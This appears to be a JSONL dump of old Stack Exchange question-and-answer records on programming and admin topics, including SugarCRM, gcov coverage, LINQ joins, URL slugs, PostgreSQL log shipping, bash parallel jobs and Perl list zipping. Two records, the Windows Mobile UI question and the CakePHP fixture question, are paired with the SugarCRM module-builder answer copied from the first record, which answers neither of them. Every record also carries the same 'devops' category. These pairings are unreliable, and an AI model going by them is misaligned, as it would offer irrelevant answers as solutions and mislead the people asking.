{"id": "hf_7bc316a96f25", "question": "<p>I'm customizing a SugarCRM 5, and in my <strong>SugarCRM database</strong> I have all invoices which were imported from our ERP. Now, I would like to know if it is possible to create a new sub-panel in the Accounts Panel <strong>without editing the original SugarCRM files</strong>, so that my client invoices index are visible in that interface.</p>\n", "question_body": "", "answer": "Last time I checked, you could use the\nmodule builder\nto extend the interface. From 5.0 (or maybe 4.x) on, Sugar added all those APIs, which should enable you to extend SugarCRM without hacking it in and losing it with the next upgrade.\nHope that helps!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:24.908284"}
{"id": "hf_c33184f3f1e3", "question": "<p>I am creating an application for a Windows Mobile computer. The catch is that the device (<a href=\"http://www.motorola.com/business/v/index.jsp?vgnextoid=d4397b103d175110VgnVCM1000008406b00aRCRD\" rel=\"nofollow noreferrer\">Motorola MC17</a>) does not have a touch screen or universal keys - there are only six programmable hardware keys. <a href=\"http://en.wikipedia.org/wiki/Fitts%27s_law\" rel=\"nofollow noreferrer\">Fitt's law</a> is not applicable here, most Microsoft guidelines are also moot. For now I'm mimicking Nokia's S60 keyboard layout as close as possible, since it's the most popular phone platform among my target audience.</p>\n\n<p><img src=\"https://i.stack.imgur.com/jsDo2.jpg\" alt=\"Motorola MC17\"/></p>\n\n<p>Are there any guidelines for creating a simple, discoverable user interface on such a constrained device? What fonts and colours should I use to make my UI readable? How do I measure if the items on-screen are big enough? What conventions should I follow?</p>\n", "question_body": "", "answer": "Last time I checked, you could use the\nmodule builder\nto extend the interface. From 5.0 (or maybe 4.x) on, Sugar added all those APIs, which should enable you to extend SugarCRM without hacking it in and losing it with the next upgrade.\nHope that helps!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:24.931127"}
{"id": "hf_5ca4d3fccb2c", "question": "<p>Is it possible to have a fixture change between test methods? If so, how can I do this? </p>\n\n<p>My syntax for this problem : </p>\n\n<p>In the cakephp framework i am building tests for a behavior that is configured by adding fields to the table. This is intended to work in the same way that adding the \"created\" \nand \"modified\" fields will auto-populate these fields on save.</p>\n\n<p>To test this I <em>could</em> create dozens of fixtures/model combos to test the different setups, but it would be a hundred times better, faster and easier to just have the fixture change \"shape\" between test methods. </p>\n\n<blockquote>\n  <p>If you are not familiar with the <a href=\"http://cakephp.org\" rel=\"nofollow noreferrer\">CakePHP framework</a>, you can maybe still help me as it uses <a href=\"http://simletest.org\" rel=\"nofollow noreferrer\">SimpleTest</a></p>\n</blockquote>\n\n<p><em>Edit: rephrased question to be more general</em></p>\n", "question_body": "", "answer": "Last time I checked, you could use the\nmodule builder\nto extend the interface. From 5.0 (or maybe 4.x) on, Sugar added all those APIs, which should enable you to extend SugarCRM without hacking it in and losing it with the next upgrade.\nHope that helps!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:24.958196"}
{"id": "hf_9df92f1670b2", "question": "<p>Is it possible to use gcov for coverage testing of multi-threaded applications? </p>\n\n<p>I've set some trivial tests of our code-base up, but it would be nice to have some idea of the coverage we're achieving. If gcov isn't appropriate can anyone recommend an alternative tool (possible oprofile), ideally with some good documentation on getting started.</p>\n", "question_body": "", "answer": "We've certainly used gcov to get coverage information on our multi-threaded application.\nYou want to compile with gcc 4.3 which can do coverage on dynamic code.\nYou compile with the\n```\n-fprofile-arcs -ftest-coverage\n```\noptions, and the code will generate .gcda files which gcov can then process.\nWe do a separate build of our product, and collect coverage on that, running unit tests and regression tests.\nFinally we use lcov to generate HTML results pages.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:24.993814"}
{"id": "hf_1ef819f18ac4", "question": "<p>I have a <code>List&lt;int&gt;</code> and a <code>List&lt;customObject&gt;</code>. The customObject class has an ID property. How can I get a <code>List&lt;customObject&gt;</code> containing only the objects where the ID property is in the <code>List&lt;int&gt;</code> using LINQ?</p>\n\n<p><strong>Edit</strong>: I accepted Konrads answer because it is easier/more intuitive to read.</p>\n", "question_body": "", "answer": "Untested, but it'll be something like this:\n```\n```\nvar matches = from o in objList \n                  join i in intList on o.ID equals i\n                  select o;\n```\n```\n@Konrad just tested it, and it does work - I just had a typo where I'd written \"i.ID\" rather than \"i\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:25.027859"}
{"id": "hf_ca01052804b7", "question": "<p>Are you working on a (probably commercial) product which uses RDF/OWL/SPARQL technologies? If so, can you please describe your product?</p>\n", "question_body": "", "answer": "O'Reilly's Practical RDF has a chatper titled\nCommercial Uses of RDF/XML\n. The table at the left lists the subsections:\nChandler\n,\nRDF Gateway\n,\nSeamark\n, and Adobe's\nXMP\nstuff.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:25.049317"}
{"id": "hf_6545ff9b0a4e", "question": "<p>How can I go about generating a Friendly URL in C#? Currently I simple replace spaces with an underscore, but how would I go about generating URL's like Stack Overflow?</p>\n\n<p>For example how can I convert:</p>\n\n<blockquote>\n  <p>How do I generate a Friendly URL in C#?</p>\n</blockquote>\n\n<p>Into</p>\n\n<blockquote>\n  <p>how-do-i-generate-a-friendly-url-in-C</p>\n</blockquote>\n", "question_body": "", "answer": "Here's how we do it. Note that there are probably more edge conditions than you realize at first glance..\n```\n```\nif (String.IsNullOrEmpty(title)) return \"\";\n\n// remove entities\ntitle = Regex.Replace(title, @\"&\\w+;\", \"\");\n// remove anything that is not letters, numbers, dash, or space\ntitle = Regex.Replace(title, @\"[^A-Za-z0-9\\-\\s]\", \"\");\n// remove any leading or trailing spaces left over\ntitle = title.Trim();\n// replace spaces with single dash\ntitle = Regex.Replace(title, @\"\\s+\", \"-\");\n// if we end up with multiple dashes, collapse to single dash            \ntitle = Regex.Replace(title, @\"\\-{2,}\", \"-\");\n// make it all lower case\ntitle = title.ToLower();\n// if it's too long, clip it\nif (title.Length > 80)\n    title = title.Substring(0, 79);\n// remove trailing dash, if there is one\nif (title.EndsWith(\"-\"))\n    title = title.Substring(0, title.Length - 1);\nreturn title;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:25.070937"}
{"id": "hf_ad2e0e0c4989", "question": "<p>I'd like to be able to view the event <code>log</code> for a series of <code>asp.net</code> websites running on IIS. Can I do this externally, for example, through a web interface?</p>\n", "question_body": "", "answer": "Do you want to know if you can home-roll something or are you looking for an app you can get off the shelf?\nI'm not a Windows guy, but I think Microsoft's MOM/SCOM solution will probably let you view the event log over a web UI - probably really heavy and expensive if that's all you need though.\nA quick google found\nhttp://www.codeproject.com/KB/XML/Event_Logger.aspx\nwhich shows that you can get in if you want to roll your own... also an MS tool on\nmsdn\nSorry I can't be more help", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:25.104450"}
{"id": "hf_b389c4044811", "question": "<p>I want to show a chromeless modal window with a close button in the upper right corner.\nIs this possible?</p>\n", "question_body": "", "answer": "You'll pretty much have to roll your own Close button, but you can hide the window chrome completely using the WindowStyle attribute, like this:\n```\n```\n<Window WindowStyle=\"None\">\n```\n```\nThat will still have a resize border. If you want to make the window non-resizable then add ResizeMode=\"NoResize\" to the declaration.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:25.147718"}
{"id": "hf_f1db73ddeb49", "question": "<p>So I know that unit testing is a must. I get the idea that TDD is the way to go when adding new modules. Even if, in practice, I don't actually do it. A bit like commenting code, really. </p>\n\n<p>The real thing is, I'm struggling to get my head around how to unit-test the UI and more generally objects that generate events: user controls, asynchronous database operations, etc. </p>\n\n<p>So much of my code relates to UI events that I can't quite see how to even start the unit testing. </p>\n\n<p>There must be some primers and starter docs out there? Some hints and tips? </p>\n\n<p>I'm generally working in C# (2.0 and 3.5) but I'm not sure that this is strictly relevant to the question. </p>\n", "question_body": "", "answer": "You should separate logic and presentation. Using MVP(Model-View-Presenter)/MVC (Model-View-Controller) patterns you can unit test you logic without relying on UI events.\nAlso you can use\nWhite framework\nto simulate user input.\nI would highly recommend you to visit Microsoft's\nPatterns&Practices developer center\n, especially take a look at composite application block and Prism - you can get a lot of information on test driven design.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:25.168733"}
{"id": "hf_25a6d6aeb92e", "question": "<p>How do you use the the org.springframework.ws.transport.jms.WebServiceMessageDrivenBean class from the Java Spring Framework - Spring-WS project?</p>\n\n<p>There is very little documentation or examples available on the web.</p>\n", "question_body": "", "answer": "From what I gather from reading the\njavadocs\nit looks like this allows a Spring\nWebServiceMessageReceiver\nto be invoked using a JMS client instead of a web services client.  Hopefully that's right, because the rest of this is based on that assumption.\nThe basics of is should match with how you create a regular Spring message driven bean.  There is a little bit of documentation on how to do that in the\nSpring Reference Manual\n.  Also see the\nAbstractEnterpriseBean Javadoc\nfor some additional information about how the Spring context is retrieved.\nThe extra configuration required for a WebServiceMessageDrivenBean appear to be a\nConnectionFactory\n, a\nWebServiceMessageFactory\n, and your\nWebServiceMessageReceiver\n.  These need to use the bean names specified in the Javadoc for the WebServiceMessageDrivenBean.  The bean names are \"connectionFactory\", \"messageFactory\", and \"messageReceiver\" respectively.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:25.236255"}
{"id": "hf_fbb29a9c782a", "question": "<p>I had a discussion with some colleagues mentioning that there are not too many projects that we do which make use of WPF for creating UI for a windows application (we almost always use Windows Forms instead).</p>\n\n<ul>\n<li>Are your experiences the same - i.e. there is not too much adoption of this technology?</li>\n<li>Why do you think that is? And will we have a time when we see much more of WPF?</li>\n</ul>\n", "question_body": "", "answer": "Though WPF was introduced few years ago it was too raw to use it in the real world apps.  Major problem that stops WPF from wide adoption is a lack of RAD tools and out-of-box components.  Currently we have Blend, more or less working Cider, but usable versions of these tools came not so long ago. Another reason is a completely different architecture which  leads to longer development time as compared with WinForms due to prolonged learning\\adoption period for developers.\nI think we will see rising of WPF in the next few years.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:25.305684"}
{"id": "hf_2c40336f5e23", "question": "<p>By default IntelliJ IDEA 7.0.4 seems to use 4 spaces for indentation in XML files.  The project I'm working on uses 2 spaces as indentation in all it's XML.  Is there a way to configure the indentation in IntelliJ's editor?</p>\n", "question_body": "", "answer": "Sure there is. This is all you need to do:\nGo to\n```\nFile -> Settings -> Global Code Style -> General\n```\nDisable the checkbox next to 'Use same settings for all file types'\nThe 'XML' tab should become enabled. Click it and set the 'tab' (and probably 'indent') size to 2.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:25.351018"}
{"id": "hf_2259fd14c84e", "question": "<p>Does anyone have any recommendations for implementations of ActiveRecord in PHP? I've been using <a href=\"http://31tools.com/cbl_activerecord/\" rel=\"nofollow noreferrer\">CBL ActiveRecord</a>, but I was wondering if there were any viable alternatives.</p>\n", "question_body": "", "answer": "Depends! ;)\nFor example there is\nADODB's Active Record implementation\n, then there is Zend_Db_DataTable and\nDoctrine\n. Those are the ones I know of, I am sure there are more implementations.\nOut of those three I'd recommend Doctrine. Last time I checked Adodb carried a lot of extra weight for PHP4 and Zend_Db_* is generally not known to be the best in terms of completeness and performance (most likely due to its young age).\nDoctrine aside from Active Table and the general database abstraction thing (aka DBAL) has so many things (e.g. migrations) which make it worth checking out, so if you haven't set your mind on a DBAL yet, you need to check it out.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:25.372208"}
{"id": "hf_763a0cd03721", "question": "<p>I currently have an MS Access application that connects to a PostgreSQL database via ODBC. This successfully runs on a LAN with 20 users (each running their own version of Access). Now I am thinking through some disaster recovery scenarios, and it seems that a quick and easy method of protecting the data is to use <a href=\"http://www.postgresql.org/docs/8.3/static/warm-standby.html\" rel=\"noreferrer\">log shipping</a> to create a warm-standby. </p>\n\n<p>This lead me to think about putting this warm-standby at a remote location, but then I have the question:</p>\n\n<p><strong>Is Access connecting to a remote database via ODBC usable?</strong> \nI.e. the remote database is maybe in the same country with ok ping times and I have a 1mbit SDSL line.</p>\n", "question_body": "", "answer": "Yes.\nI don't have any experience using Access to hit PostgreSQL from a remote location but I have successfully used Access as a front-end to SQL Server & DB2 from a remote location with success.\nIronically, what you don't want to do is use Access to front-end an Access database (mdb) from a remote location over a high-latency link.  Since hitting the MDB uses file-based operations it's pretty easy to end up with a corrupt database if you have anything more than a trivial db.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:25.395192"}
{"id": "hf_14278e3e0dca", "question": "<p>We are using SourceForge Enterprise Edition 4.4 in one of our project.</p>\n\n<p>My question is, in CollabNet SFEE (SourceForge Enterprise Edition 4.4), how will we get attachments associated with an Artifacts Using SFEE SOAP API?</p>\n\n<p>We have made our own .net 2.0 client. We are not using .net SDK provided by Collabnet,</p>\n", "question_body": "", "answer": "If you commit with a message you can add \"[artf1000]\" (where artf1000 is your artifact number) to the beginning or end of your commit message. Then it will associate to that artifact you can also do this with documents using doc1000, to get the id of the item you can use the URL it is what is after the\nhttp://sfeeserver/sf/go/\n.\nDocuments and artifacts are the only item I have used this for so I am not sure about other types of links, but I would imagine anything that has a /go/ID could be referenced by the ID.\nie:\nhttp://sfeeserver/sf/go/artf1000\nhttp://sfeeserver/sf/go/doc1000\nEdited to add:\nI have seemingly successfully tried this with releases, tasks, and discussions as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:25.417023"}
{"id": "hf_68d1128ffc00", "question": "<p>I'm trying to make the case for click-once and smart client development but my network support team wants to keep with web development for everything.</p>\n\n<p>What is the best way to convince them that click-once and smart client development have a place in the business?</p>\n", "question_body": "", "answer": "They have a place in the Windows environment but not in any other environment and so if you intend on writing applications for external clients, then your probably best sticking with Web based development.\nI heard this \"Write Once, Run Many\" before from Microsoft when Asp.net 1.1 was released, it never happened in practice.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:25.451634"}
{"id": "hf_2a5dc1c29932", "question": "<p>How can I find the origins of conflicting DNS records?</p>\n", "question_body": "", "answer": "An easy way is to use an online domain tool. My favorite is\nDomain Tools\n(formerly whois.sc). I'm not sure if they can resolve conflicting DNS records though. As an example, the DNS servers for stackoverflow.com are\n```\n```\nNS51.DOMAINCONTROL.COM\n  NS52.DOMAINCONTROL.COM\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:25.521050"}
{"id": "hf_d019e4d216a4", "question": "<p>I work for a .NET/MSSQL shop that has trouble supporting customers running Novell, partially because we don't have Novell (or the money for it) and partially because we have no one with Novell experience. This question could easily be expanded to \"How can we improve our support of technology X when we don't have technology X?\" Obviously, I expect someone to say \"it is easy to acquire the technology or someone with that kind of experience,\" but keep in mind I'm just a developer, not the development manager or someone with power over the purse strings. I looked for a Novell server virtual appliance (though I'm not sure \"Novell server\" is what I should be looking for) but didn't find much on VMware's website.</p>\n", "question_body": "", "answer": "There is a\n60 day evaluation trial of Open Enterprise Server 2\navailable (requires free registration). If you install it in a VM, there's nothing stopping you from reinstalling it after 60 days (well except licence).\nBut you will need someone good with Linux to handle this (and preferably good with this precise technology). In a MS shop this might be a problem.\nThe easiest solution would be to outsource this - have some external techs test your software for compatibility. If you find out you are paying too much - hire someone who knows this software stack.\nYou can't support something if you don't test against it. And you can't test against something you don't know.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:25.544454"}
{"id": "hf_3d25423a6d89", "question": "<p>How do I find the start of the week (both Sunday and Monday) knowing just the current time in C#?</p>\n\n<p>Something like:</p>\n\n<pre><code>DateTime.Now.StartWeek(Monday);\n</code></pre>\n", "question_body": "", "answer": "This would give you the preceding Sunday (I think):\n```\n```\nDateTime t = DateTime.Now;\nt -= new TimeSpan ((int) t.DayOfWeek, 0, 0, 0);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:25.614182"}
{"id": "hf_6b4f5ad4a2e4", "question": "<p>Is there any shorthand way of defining and using generic definitions without having to keep repeating a particular generic description such that if there is a change I don't have to change all definitions/usages though out the codebase for example is something like this possible:</p>\n\n<pre><code>Typedef myGenDef = &lt; Object1, Object2 &gt;;\n\nHashMap&lt; myGenDef &gt; hm = new HashMap&lt; myGenDef &gt;();\n\nfor (Entry&lt; myGenDef &gt; ent : hm..entrySet())\n{\n.\n.\n.\n}\n</code></pre>\n", "question_body": "", "answer": "No. Though, groovy, a JVM language, is dynamically typed and would let you write:\n```\n```\ndef map = new HashMap<complicated generic expression>();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:25.658948"}
{"id": "hf_00ab2eec41c7", "question": "<p>I am considering log-shipping of <a href=\"http://www.postgresql.org/docs/8.2/static/runtime-config-wal.html\" rel=\"noreferrer\">Write Ahead Logs (WAL)</a> in PostgreSQL to create a warm-standby database. However I have one table in the database that receives a huge amount of INSERT/DELETEs each day, but which I don't care about protecting the data in it. To reduce the amount of WALs produced I was wondering, <strong>is there a way to prevent any activity on one table from being recorded in the WALs?</strong></p>\n", "question_body": "", "answer": "Unfortunately, I don't believe there is. The WAL logging operates on the page level, which is much lower than the table level and doesn't even know which page holds data from which table. In fact, the WAL files don't even know which pages belong to which\ndatabase\n.\nYou might consider moving your high activity table to a completely different instance of PostgreSQL. This seems drastic, but I can't think of another way off the top of my head to avoid having that activity show up in your WAL files.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:25.727675"}
{"id": "hf_fd282b2ff6f5", "question": "<p>Lets say I have a loop in Bash:</p>\n\n<pre><code>for foo in `some-command`\ndo\n   do-something $foo\ndone\n</code></pre>\n\n<p><code>do-something</code> is cpu bound and I have a nice shiny 4 core processor. I'd like to be able to run up to 4 <code>do-something</code>'s at once.</p>\n\n<p>The naive approach seems to be:</p>\n\n<pre><code>for foo in `some-command`\ndo\n   do-something $foo &amp;\ndone\n</code></pre>\n\n<p>This will run <em>all</em> <code>do-something</code>s at once, but there are a couple downsides, mainly that do-something may also have some significant I/O which performing <em>all</em> at once might slow down a bit. The other problem is that this code block returns immediately, so no way to do other work when all the <code>do-something</code>s are finished.</p>\n\n<p>How would you write this loop so there are always X <code>do-something</code>s running at once?</p>\n", "question_body": "", "answer": "Instead of a plain bash, use a Makefile, then specify number of simultaneous jobs with\n```\nmake -jX\n```\nwhere X is the number of jobs to run at once.\nOr you can use\n```\nwait\n```\n(\"\n```\nman wait\n```\n\"): launch several child processes, call\n```\nwait\n```\n- it will exit when the child processes finish.\n```\n```\nmaxjobs = 10\n\nforeach line in `cat file.txt` {\n jobsrunning = 0\n while jobsrunning < maxjobs {\n  do job &\n  jobsrunning += 1\n }\nwait\n}\n\njob ( ){\n...\n}\n```\n```\nIf you need to store the job's result, then assign their result to a variable. After\n```\nwait\n```\nyou just check what the variable contains.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:25.778399"}
{"id": "hf_48d8b07e7a80", "question": "<p>I have a basic understanding of mock and fake objects, but I'm not sure I have a feeling about when/where to use mocking - especially as it would apply to this scenario <a href=\"https://stackoverflow.com/questions/37375/how-do-i-unit-test-a-wcf-service\"><strong>here</strong></a>.</p>\n", "question_body": "", "answer": "You should mock an object when you have a dependency in a unit of code you are trying to test that needs to be \"just so\".\nFor example, when you are trying to test some logic in your unit of code but you need to get something from another object and what is returned from this dependency might affect what you are trying to test - mock that object.\nA great podcast on the topic can be found\nhere", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:25.805504"}
{"id": "hf_6fcf3677f0c5", "question": "<p>The primary class in the <code>subprocess</code> module is name <code>Popen</code>, and represents a subprocess. <code>Popen</code> sounds like someone was trying to force the name to follow some function naming format, rather than chosing a name that actually represents what the object is.  Does anyone know why it was chosen over something simple like, say, <code>Subprocess</code>?</p>\n", "question_body": "", "answer": "I suppose the name was chosen because the functionality\n```\nsubprocess\n```\nis replacing was formerly in the\n```\nos\n```\nmodule as the\n```\nos.popen\n```\nfunction. There could be even ways to automate migration between the two.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:25.864665"}
{"id": "hf_9fd8be87233e", "question": "<p>While I know IronRuby isn't quite ready for the world to use it, I was wondering if anyone here tried it and tested how well it faired against the other Rubies out there in terms of raw performance?</p>\n\n<p>If so, what are the results, and how did you go about measuring the performance (which benchmarks etc)?</p>\n\n<p><strong>Edit</strong>: The IronRuby team maintains a site on how they compare to Ruby MRI 1.8 at <a href=\"http://ironruby.info/\" rel=\"nofollow noreferrer\">http://ironruby.info/</a>. Below the spec pass rate table, they also have some information on how IronRuby performs on these specs. This table is not continuously updated, but I assume they update it often enough (you can see the last update at the top of the page).</p>\n", "question_body": "", "answer": "I have used it and it has worked great for what I have done.  However my measuring of performance isn't really scientific, because it was all visual.  However I did notice that IronRuby seemed a little more snappier when I compared the two program on equal tasks.  I really think this had to do more with the strong and tight binding with IIS that .NET has more than the speed of the framework.\nBut I could totally be wrong, because I didn't really stress my applications to the levels that Twitter might see.  But from my .NET experience I know it would hold up just as well if not better than current production Ruby applications.\nBy the way I tested Ruby using FastCGI under IIS.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:25.898641"}
{"id": "hf_6ae7286ad3ee", "question": "<p>How does one convert an image from one color profile to another (screen to printer, or scanner to screen).  In Visual C++ you would use the function in ICM.h, is there a managed way to do this with GDI+?</p>\n\n<p>I need to use GDI+, not WPF.  I'd prefer to have a managed solution, but if it is not available, I guess PInkvoke will have to suffice.</p>\n", "question_body": "", "answer": "There are a number of solutions.\nFor GDI+,\ncheck out this article at MSDN\n(HOW TO: Use GDI+ and Image Color Management to Adjust Image Colors).\nFor WPF (.NET 3.0), see the\nSystem.Windows.Media\nnamespace. There are a number of different classes, such as the\nBitmapEncoder\n, that have the concept of a\nColorContext\n, which \"Represents the International Color Consortium (ICC) or Image Color Management (ICM) color profile that is associated with a bitmap image.\"\nBoth of these seem pretty complex, so there's always the option of buying somebody else's code.  Atalasoft's\nDotImage Photo Pro\nhas ICC profile setting capabilities built in.  The code is expensive; a dev license is almost 2k.  But based on their participation in the dotnet community, I'd give them a whirl.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:25.967291"}
{"id": "hf_108c70786ac4", "question": "<p>I recently \"needed\" a zip function in Perl 5 (while I was thinking about <a href=\"https://stackoverflow.com/questions/11/how-do-i-calculate-relative-time\">How do I calculate relative time?</a>), i.e. a function that takes two lists and \"zips\" them together to one list, interleaving the elements.</p>\n\n<p>(Pseudo)example: </p>\n\n<pre><code>@a=(1, 2, 3);\n@b=('apple', 'orange', 'grape');\nzip @a, @b; # (1, 'apple', 2, 'orange', 3, 'grape');\n</code></pre>\n\n<p><a href=\"http://www.haskell.org/onlinereport/standard-prelude.html\" rel=\"nofollow noreferrer\">Haskell has zip in the Prelude</a> and <a href=\"http://ferreira.nfshost.com/perl6/zip.html\" rel=\"nofollow noreferrer\">Perl 6 has a zip operator</a> built in, but how do you do it in an elegant way in Perl 5?</p>\n", "question_body": "", "answer": "The\nList::MoreUtils\nmodule has a zip/mesh function that should do the trick:\n```\n```\nuse List::MoreUtils qw(zip);\n\nmy @numbers = (1, 2, 3);\nmy @fruit = ('apple', 'orange', 'grape');\n\nmy @zipped = zip @numbers, @fruit;\n```\n```\nHere is the source of the mesh function:\n```\n```\nsub mesh (\\@\\@;\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@\\@) {\n    my $max = -1;\n    $max < $#$_  &&  ($max = $#$_)  for @_;\n\n    map { my $ix = $_; map $_->[$ix], @_; } 0..$max; \n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:26.058617"}
{"id": "hf_1ff1b623e699", "question": "<p>If I get an error code result from a Cocoa function, is there any easy way to figure out what it means (other than by grepping through all the .h files in the framework bundles)?</p>\n", "question_body": "", "answer": "You should look at the\n```\n<Framework/FrameworkErrors.h>\n```\nheader for whatever framework the method you're using that's returning an error comes from.\nFor example, an\n```\nNSError\n```\nin the Cocoa domain that you get from a method in the Foundation framework will have its\n```\ncode\n```\nproperty described in the\n```\n<Foundation/FoundationErrors.h>\n```\nheader.  Similarly with AppKit and\n```\n<AppKit/AppKitErrors.h>\n```\nand Core Data and\n```\n<CoreData/CoreDataErrors.h>\n```\n.\nAlso, if you print the description of the\n```\nNSError\n```\nin the debugger, it should include not only the error domain and code, but also the name of the actual error code constant so you can look it up in the API reference.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:26.093649"}
